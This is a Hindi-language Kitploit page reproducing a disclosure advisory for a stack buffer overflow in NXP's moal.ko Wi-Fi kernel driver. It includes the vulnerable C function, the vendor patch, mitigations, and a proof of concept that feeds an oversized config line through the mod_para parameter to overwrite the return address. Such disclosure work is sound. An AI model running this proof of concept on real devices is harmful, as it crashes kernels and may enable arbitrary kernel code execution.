Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-29338 — तकनीकी सलाह और एक स्टैक-आधारित बफर ओवरफ्लो (CWE-121) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो NXP moal.ko वाई-फाई कर्नेल ड्राइवर में स्थित है, जिससे स्थानीय कर्नेल पैनिक और संभावित मनमाना कोड निष्पादन संभव होता है। | Kitploit
उपकरण/GitHubGitHub/masjadaan/cve-2025-29338
एम्बेडेड सिस्टम सुरक्षाभेद्यता विश्लेषणशोषणहार्डवेयर सुरक्षाबाइनरी शोषण
GitHubmasjadaan/cve-2025-29338

CVE-2025-29338

तकनीकी सलाह और एक स्टैक-आधारित बफर ओवरफ्लो (CWE-121) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो NXP moal.ko वाई-फाई कर्नेल ड्राइवर में स्थित है, जिससे स्थानीय कर्नेल पैनिक और संभावित मनमाना कोड निष्पादन संभव होता है।

रिपॉजिटरी देखें
33 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-29338 — सुरक्षा सलाह

NXP moal.ko वाई-फाई कर्नेल ड्राइवर (woal_setup_module_param / parse_cfg_get_line) में बफर ओवरफ़्लो

फ़ील्डमान
CVE IDCVE-2025-29338
गंभीरताउच्च
CVSS v3.1 स्कोर7.8
CVSS v3.1 वेक्टरCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
भेद्यता प्रकारस्टैक-आधारित बफर ओवरफ़्लो (CWE-121)
हमला वेक्टरस्थानीय
विक्रेताNXP सेमीकंडक्टर्स
विक्रेता पैच स्थितिपैच किया गया
खोजकर्तामहमूद जदान — diconium auto GmbH

सारांश

NXP moal.ko वाई-फाई कर्नेल ड्राइवर (संस्करण 5.1.7.10) में फ़र्मवेयर बिल्ड v17.92.1.p149.43 से v17.92.1.p149.157 में एक स्टैक-आधारित बफर ओवरफ़्लो भेद्यता मौजूद है। यह भेद्यता parse_cfg_get_line (mlinux/moal_init.c) में स्थित है, जिसे woal_setup_module_param से कॉल किया जाता है। वह व्हाइल लूप जो कॉन्फ़िगरेशन फ़ाइल लाइनों को एक निश्चित-आकार के स्टैक बफर में पढ़ता है, उसमें गंतव्य सीमा जांच का अभाव है, जिससे मनमानी लंबाई की एक लाइन बफर को ओवरफ़्लो कर सकती है, स्टैक को दूषित कर सकती है, और कर्नेल पैनिक ट्रिगर कर सकती है। NXP PSIRT ने भेद्यता की पुष्टि की और फिक्स जारी किया गया है।


प्रभावित उत्पाद


भेद्यता विवरण

मूल कारण

woal_setup_module_param एक निश्चित स्टैक बफर MAX_LINE_LEN बाइट्स आवंटित करता है और mod_para कॉन्फ़िगरेशन फ़ाइल को संसाधित करते समय प्रत्येक पुनरावृत्ति पर parse_cfg_get_line को पास करता है:

root@kitploit:~
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

parse_cfg_get_line के असुरक्षित संशोधन में, व्हाइल लूप की स्थिति केवल स्रोत स्थान और लाइन टर्मिनेटरों की जांच करती है — गंतव्य बफर में कितने बाइट्स लिखे गए हैं, इसकी कोई जांच नहीं है:

root@kitploit:~
// parse_cfg_get_line — असुरक्षित संस्करण (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // अनियंत्रित लेखन — कोई dest सीमा जांच नहीं
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

एक कॉन्फ़िगरेशन फ़ाइल लाइन जो MAX_LINE_LEN बाइट्स से लंबी होती है, dest को कॉलर के स्टैक बफर के अंत से आगे बढ़ने का कारण बनती है, जिससे आसन्न स्टैक मेमोरी, जिसमें सहेजा गया फ्रेम पॉइंटर और रिटर्न एड्रेस शामिल है, ओवरराइट हो जाती है।


हमला वेक्टर

विशेषतामान

ड्राइवर सिस्टम स्टार्टअप पर insmod का उपयोग करके mod_para पैरामीटर के साथ लोड किया जाता है, जो एक कॉन्फ़िगरेशन फ़ाइल की ओर इशारा करता है। एक हमलावर जो एक क्राफ्टेड कॉन्फ़िगरेशन फ़ाइल लिख सकता है और कर्नेल मॉड्यूल को पुनः लोड कर सकता है, ओवरफ़्लो को ट्रिगर कर सकता है।


प्रभाव

प्रभावविवरण
सेवा से वंचितकर्नेल पैनिक — पुष्टि; तत्काल सिस्टम रीबूट का कारण बनता है
कर्नेल मेमोरी भ्रष्टाचारस्टैक स्मैशिंग सहेजे गए rbp और रिटर्न एड्रेस को ओवरराइट करता है

CVSS v3.1 ब्रेकडाउन

आधार स्कोर: 7.8 (उच्च) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H


प्रूफ ऑफ कॉन्सेप्ट

केवल रक्षात्मक और अनुसंधान उद्देश्यों के लिए प्रदान किया गया।

चरण 1 — मौजूदा मॉड्यूल अनलोड करें

root@kitploit:~
#!/bin/sh
rmmod moal
rmmod mlan

चरण 2 — दुर्भावनापूर्ण कॉन्फ़िगरेशन फ़ाइल बनाएं

स्टैक बफर As से भरा जाता है, उसके बाद स्टैक कैनरी स्लॉट के लिए 8 बाइट्स (Bs), सहेजे गए rbp के लिए 8 बाइट्स (Cs), और रिटर्न एड्रेस को ओवरराइट करने के लिए 8 बाइट्स (Ds):

root@kitploit:~
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

चरण 3 — क्राफ्टेड कॉन्फ़िग के साथ मॉड्यूल लोड करें

mod_para पथ उस निर्देशिका के सापेक्ष होना चाहिए जहां कर्नेल फ़र्मवेयर की खोज करता है (आमतौर पर /lib/firmware/)। तदनुसार पथ बनाएँ:

root@kitploit:~
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

चरण 4 — देखा गया परिणाम

मॉड्यूल आरंभीकरण के दौरान तुरंत एक कर्नेल पैनिक ट्रिगर होता है। कर्नेल लॉग पुष्टि करते हैं कि रिटर्न एड्रेस 0x4444444444444444 (ASCII DDDDDDDD) से ओवरराइट किया गया है, जो निर्देश पॉइंटर पर पूर्ण नियंत्रण प्रदर्शित करता है:

root@kitploit:~
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

विक्रेता पैच

NXP PSIRT ने भेद्यता की पुष्टि की और mlinux/moal_init.c के लिए निम्नलिखित पैच प्रदान किया। फिक्स parse_cfg_get_line लूप के अंदर एक सीमा जांच जोड़ता है ताकि MAX_LINE_LEN से अधिक होने से पहले बाहर निकला जा सके:

root@kitploit:~
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

शमन

फ़र्मवेयर संस्करण v17.92.1.p149.157 से आगे अपडेट करें जिसमें उपरोक्त पैच शामिल है। अतिरिक्त हार्डनिंग के रूप में:

  1. मॉड्यूल लोडिंग प्रतिबंधित करें — CAP_SYS_MODULE को विश्वसनीय प्रशासकों तक सीमित करें; SELinux, AppArmor, या seccomp के माध्यम से init_module / finit_module सिस्टम कॉल प्रतिबंध लागू करें।
  2. कॉन्फ़िगरेशन फ़ाइल पथ सुरक्षित करें — सुनिश्चित करें कि mod_para द्वारा संदर्भित पथ और वह फ़ाइलें जिनकी ओर यह इशारा करता है, केवल रूट द्वारा लिखने योग्य हैं।

संदर्भ

  • NXP mwifiex ड्राइवर (GPL): https://github.com/nxp-imx/mwifiex
  • NXP रिलीज़ नोट्स: https://www.nxp.com/docs/en/release-note/RN00104.pdf

विक्रेता स्थिति

NXP PSIRT ने भेद्यता की पुष्टि की। फिक्स को एक औपचारिक सॉफ़्टवेयर अपडेट के हिस्से के रूप में जारी किया गया है।


क्रेडिट

खोजकर्ता: महमूद जदान — diconium auto GmbH


यह सलाह CVE प्रोग्राम प्रति न्यूनतम CVE प्रकटीकरण आवश्यकताओं को पूरा करने के लिए एक सार्वजनिक संदर्भ के रूप में प्रकाशित की गई है।

टूल डाउनलोड करें
फ़ील्डविवरण
विक्रेताNXP सेमीकंडक्टर्स
घटकmoal.ko वाई-फाई कर्नेल ड्राइवर
ड्राइवर संस्करण5.1.7.10
फ़र्मवेयर — पहला प्रभावितv17.92.1.p149.43
फ़र्मवेयर — अंतिम प्रभावितv17.92.1.p149.157
प्रकारस्थानीय
आवश्यक विशेषाधिकारCAP_SYS_MODULE (रूट या समकक्ष)
उपयोगकर्ता सहभागिताकोई नहीं
हमला सतहmod_para कर्नेल मॉड्यूल पैरामीटर (कॉन्फ़िगरेशन फ़ाइल पथ)
संभावित कोड निष्पादन
रिटर्न एड्रेस नियंत्रित — स्थान पर शमन (स्टैक कैनरी, KASLR, आदि) के आधार पर मनमाना कर्नेल-मोड कोड निष्पादन संभव हो सकता है
मीट्रिकमानतर्क
हमला वेक्टर (AV)स्थानीय (L)स्थानीय सिस्टम एक्सेस आवश्यक है
हमला जटिलता (AC)निम्न (L)कोई दौड़ की स्थिति या जटिल पूर्वापेक्षाएँ नहीं
आवश्यक विशेषाधिकार (PR)उच्च (H)CAP_SYS_MODULE / रूट आवश्यक है
उपयोगकर्ता सहभागिता (UI)कोई नहीं (N)पूरी तरह से हमलावर-नियंत्रित
दायरा (S)अपरिवर्तित (U)प्रभाव कर्नेल संदर्भ में रहता है
गोपनीयता (C)उच्च (H)कर्नेल मेमोरी संभावित रूप से पढ़ने योग्य है
अखंडता (I)उच्च (H)रिटर्न एड्रेस ओवरराइट प्रदर्शित किया गया
उपलब्धता (A)उच्च (H)कर्नेल पैनिक / रीबूट पुष्टि की गई